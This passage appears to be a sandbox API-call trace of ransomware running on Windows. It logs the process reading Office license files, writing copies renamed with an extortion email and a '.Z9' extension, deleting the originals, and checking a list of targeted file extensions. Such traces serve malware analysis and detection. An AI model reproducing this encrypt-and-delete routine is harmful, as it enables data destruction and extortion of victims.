	[0171.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.966] lstrlenW (lpString=".1cd") returned 4
	[0171.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0171.966] lstrlenW (lpString=".jpg") returned 4
	[0171.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.966] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0171.966] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26
	[0171.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.967] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10639) returned 1
	[0171.967] CloseHandle (hObject=0x53c) returned 1
	[0171.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0171.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0171.967] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.967] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0171.968] GetLastError () returned 0x0
	[0171.968] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x298f, lpOverlapped=0x0) returned 1
	[0172.246] WriteFile (in: hFile=0x544, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0172.247] ReadFile (in: hFile=0x53c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.248] WriteFile (in: hFile=0x544, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x108, lpOverlapped=0x0) returned 1
	[0172.248] SetEndOfFile (hFile=0x544) returned 1
	[0172.248] CloseHandle (hObject=0x544) returned 1
	[0172.248] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.248] SetEndOfFile (hFile=0x53c) returned 1
	[0172.256] CloseHandle (hObject=0x53c) returned 1
	[0172.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1
	[0172.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.691] lstrlenW (lpString=".doc") returned 4
	[0172.691] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.691] lstrlenW (lpString=".docx") returned 5
	[0172.691] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.691] lstrlenW (lpString=".pdf") returned 4
	[0172.691] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.691] lstrlenW (lpString=".xls") returned 4
	[0172.691] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.691] lstrlenW (lpString=".xlsx") returned 5
	[0172.691] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.691] lstrlenW (lpString=".ppt") returned 4
	[0172.692] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString=".zip") returned 4
	[0172.692] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".rar") returned 4
	[0172.692] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".bz2") returned 4
	[0172.692] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".7z") returned 3
	[0172.692] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString=".dbf") returned 4
	[0172.692] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString=".1cd") returned 4
	[0172.692] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString=".jpg") returned 4
	[0172.692] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.692] lstrlenW (lpString=".doc") returned 4
	[0172.692] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".docx") returned 5
	[0172.692] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.692] lstrlenW (lpString=".pdf") returned 4
	[0172.692] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".xls") returned 4
	[0172.692] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.692] lstrlenW (lpString=".xlsx") returned 5
	[0172.692] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.692] lstrlenW (lpString=".ppt") returned 4
	[0172.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.693] lstrlenW (lpString=".zip") returned 4
	[0172.693] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString=".rar") returned 4
	[0172.693] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString=".bz2") returned 4
	[0172.693] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString=".7z") returned 3
	[0172.693] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.693] lstrlenW (lpString=".dbf") returned 4
	[0172.693] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.693] lstrlenW (lpString=".1cd") returned 4
	[0172.693] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0172.693] lstrlenW (lpString=".jpg") returned 4
	[0172.693] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.693] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.693] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24
	[0172.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.694] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10631) returned 1
	[0172.694] CloseHandle (hObject=0x4bc) returned 1
	[0172.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220
	[0172.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.695] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.695] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0172.695] GetLastError () returned 0x0
	[0172.695] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2987, lpOverlapped=0x0) returned 1
	[0172.698] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0172.699] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.699] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x104, lpOverlapped=0x0) returned 1
	[0172.699] SetEndOfFile (hFile=0x538) returned 1
	[0172.700] CloseHandle (hObject=0x538) returned 1
	[0172.700] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.700] SetEndOfFile (hFile=0x4bc) returned 1
	[0172.702] CloseHandle (hObject=0x4bc) returned 1
	[0172.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1
	[0172.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.704] lstrlenW (lpString=".doc") returned 4
	[0172.704] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".docx") returned 5
	[0172.704] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.704] lstrlenW (lpString=".pdf") returned 4
	[0172.704] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".xls") returned 4
	[0172.704] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".xlsx") returned 5
	[0172.704] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.704] lstrlenW (lpString=".ppt") returned 4
	[0172.704] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.704] lstrlenW (lpString=".zip") returned 4
	[0172.704] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".rar") returned 4
	[0172.704] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".bz2") returned 4
	[0172.704] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString=".7z") returned 3
	[0172.704] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.704] lstrlenW (lpString=".dbf") returned 4
	[0172.704] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString=".1cd") returned 4
	[0172.705] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString=".jpg") returned 4
	[0172.705] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString=".doc") returned 4
	[0172.705] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".docx") returned 5
	[0172.705] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.705] lstrlenW (lpString=".pdf") returned 4
	[0172.705] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".xls") returned 4
	[0172.705] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".xlsx") returned 5
	[0172.705] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.705] lstrlenW (lpString=".ppt") returned 4
	[0172.705] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString=".zip") returned 4
	[0172.705] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".rar") returned 4
	[0172.705] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".bz2") returned 4
	[0172.705] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.705] lstrlenW (lpString=".7z") returned 3
	[0172.705] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.705] lstrlenW (lpString=".dbf") returned 4
	[0172.705] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.706] lstrlenW (lpString=".1cd") returned 4
	[0172.706] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0172.706] lstrlenW (lpString=".jpg") returned 4
	[0172.706] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.706] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.706] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25
	[0172.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.707] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=20778) returned 1
	[0172.707] CloseHandle (hObject=0x4bc) returned 1
	[0172.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220
	[0172.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.707] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.707] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0172.708] GetLastError () returned 0x0
	[0172.708] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x512a, lpOverlapped=0x0) returned 1
	[0172.710] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0172.712] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.712] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x106, lpOverlapped=0x0) returned 1
	[0172.712] SetEndOfFile (hFile=0x538) returned 1
	[0172.712] CloseHandle (hObject=0x538) returned 1
	[0172.712] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.712] SetEndOfFile (hFile=0x4bc) returned 1
	[0172.715] CloseHandle (hObject=0x4bc) returned 1
	[0172.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1
	[0172.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.716] lstrlenW (lpString=".doc") returned 4
	[0172.716] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.716] lstrlenW (lpString=".docx") returned 5
	[0172.716] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.716] lstrlenW (lpString=".pdf") returned 4
	[0172.716] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.716] lstrlenW (lpString=".xls") returned 4
	[0172.716] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.716] lstrlenW (lpString=".xlsx") returned 5
	[0172.716] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.716] lstrlenW (lpString=".ppt") returned 4
	[0172.716] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString=".zip") returned 4
	[0172.717] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".rar") returned 4
	[0172.717] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".bz2") returned 4
	[0172.717] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".7z") returned 3
	[0172.717] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString=".dbf") returned 4
	[0172.717] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString=".1cd") returned 4
	[0172.717] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString=".jpg") returned 4
	[0172.717] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.717] lstrlenW (lpString=".doc") returned 4
	[0172.717] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".docx") returned 5
	[0172.717] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.717] lstrlenW (lpString=".pdf") returned 4
	[0172.717] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".xls") returned 4
	[0172.717] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString=".xlsx") returned 5
	[0172.717] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.717] lstrlenW (lpString=".ppt") returned 4
	[0172.717] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.718] lstrlenW (lpString=".zip") returned 4
	[0172.718] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.718] lstrlenW (lpString=".rar") returned 4
